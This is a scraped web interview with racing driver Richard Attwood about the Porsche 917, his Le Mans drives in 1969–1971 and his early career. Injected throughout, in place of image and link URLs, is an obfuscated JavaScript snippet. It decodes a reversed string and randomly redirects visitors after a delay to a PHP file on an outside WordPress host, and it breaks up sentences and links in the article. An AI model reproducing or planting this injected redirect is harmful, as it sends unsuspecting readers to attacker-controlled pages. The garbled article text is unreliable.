$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/10/Porsche-917-Richard-Attwood-06.jpg” width=”728″ height=”485″ />
“Literally everybody had a chance to win. And that’s why everybody out there started to bust their guts early on. Lucky for us they did because the long tail car was an utter monster to drive. I was absolutely physically drained from that experience because the car was so bad. The exhaust layout on the 917 had four outlets – two out the back and two out of either side under the door – so I was completely deafened. Vic [Elford] did a double stint at the start of the race, then I did a double stint afterwards. So at the end of my stint I was deaf, had a blinding headache, and my neck was falling off because I’d never driven a car with so much power. In fact, before qualifying for the race, I’d never driven a 917. No testing, nothing. People think I did a lot of testing, but it’s not true.
“In the end with just over three hours to go, we were in the lead by six laps but then the gearbox eventually cried enough. And actually – this is something I didn’t learn until about six years ago – Vic nominated me to drive with him in ‘69 in a 917. I didn’t want to though as I was quite happy with the 908. I could have knocked his head off for that! I didn’t want to be a hero, because I knew the car was no good.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/10/Porsche-917-Richard-Attwood-07.jpg” width=”728″ height=”485″ />
Interesting to hear you say that, given that the 917 is now one of the most cherished Porsches ever made. In what way was it not good?
“Well, this all started as internal rumours. Early in ‘69 I remember Brian Redman was asked to test the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche 917. Brian said he wasn’t too sure and that he would ring them back. He was basically trying to make out he had something else to do, which he hadn’t. He then rang up Jo Siffert and asked whether he should go and test the 917. Jo told him to let someone else find out. They were all ducking out of it. The rumours were rife about it. And to be honest in 1969, the 908 could win everything anyway, so why bother with something much more powerful?
“I’ll give you an example. At the Nürburgring [round seven of the 1969 World Sportscar Championship], the factory wanted to run the 917. All the drivers refused to drive it since they knew they could win easily with the 908. It was nippy, light and way faster than a 917, so why drive and experimental car when you lose that winning potential?”
Was that a selfish decision given the money up for grabs for a victory at that time?
“[Pause] No. We would want to win for the case of winning. You didn’t do it for the money: with the 917 you wouldn’t have even finished! In fact, the two gentlemen that did take on the 917 [Rolf Stommelen and Kurt Ahrens Jr] were given double the start money by the factory for actually driving it.
“In fact, I remember – for reasons that I still don’t understand – in February of 1970, the factory rang me to ask which configuration of the car I would like for June.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/10/Porsche-917-Richard-Attwood-09.jpg” width=”728″ height=”485″ />
Porsche were that open in their approach, were they?
“Yeah, they were. I don’t know whether that was with everyone or just me. Maybe they had seen my disappointed expression after the race the year before.”
It seemed to turn around nicely though, given that you took not just your first outright victory at Le Mans in 1970, but Porsche’s too with Hans Hermann. And in the 917 no less. Would you call that your personal highlight?
“Actually I don’t think to me at the time winning Le Mans was anything more than winning a good race. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/le-mans/” target=”_blank”>Le Mans has become more famous over the years with it being very famous now, but the significance didn’t hit me at the time. Even the significance also that it was $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche’s first win didn’t register: that only came later to me. I was just happy to finish, get out of the car and go to bed! I was a bit of a damp squib back then I suppose, but looking back now, winning with the slowest car, coming from way down and competing with the mumps… yeah, this is it. It was a very tough race.”
“Winning Le Mans as a driver you’ve got to have the right car, the right team, the right tyres even. Everything has got to come together to win Le Mans. And it just happened to fall into place in 1970. I still think I could have won it in 1969 with a different co-driver. We just didn’t need to be six laps ahead and stressing the car.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/10/Porsche-917-Richard-Attwood-13.jpg” width=”728″ height=”485″ />
You came close to taking a second victory with Porsche at Le Mans the following year with Herbert Müller and the John Wyer Automotive Engineering customer team, only to be pipped by Helmut Marko and Gijs van Lennep in the Martini Racing 917. But by then you’d basically had your fill of motor racing…
“I retired early, yes. I only had an 11-year career in reality then went to join the family business. My father was actually my sponsor, and he started me off. In fact my first cars came out of his garage – a Triumph TR3 – which I did a whole national racing series with [in 1960]. It was basically stock and after a season of averaging fourth place in most races, I wanted to modify the car and go back to beat everyone. My father though said, ‘you don’t want to do that. Let’s get a Formula Junior drive’. I had no idea what that was, but it started my career.
“My father certainly pushed me further than I would have naturally gone, and he was paying for everything through the garage. Those three years of Junior set my life up. I ended up winning the Monaco Junior race in ’63, which really put me on the map. That is what lead to the Ford contract and driving the GT40, but that wasn’t ready. So I drove a Shelby Cobra at the 1964 1000km of $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/nurburgring/” target=”_blank”>Nürburging and finished sixth I believe, and won the class. All Carol wanted was to finish the race and we did exactly what he wanted. Of course none of the GT40s finished any races that year, so it felt like a wasted period in my life back then.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/10/Porsche-917-Richard-Attwood-14.jpg” width=”728″ height=”485″ />
Looking back, how would you say the 24 Hours of Le Mans has changed since your day?
“[Pause] The thing is, with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/le-mans/” target=”_blank”>Le Mans, it’s all manipulated now isn’t it. If Porsche come out with a really quick car, it’s just going to get pegged back isn’t it? So I don’t see how they are going to play that. It is becoming a political mind field if you like. I’d be surprised if Porsche will entirely show their hand, since it can’t be seen that they could win it easily.
“In our day, we could go as fast as we like within the limits we had. Now there are too many regulations and life has just got too complicated. How $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/porsche/” target=”_blank”>Porsche approach that will be interesting to see.”
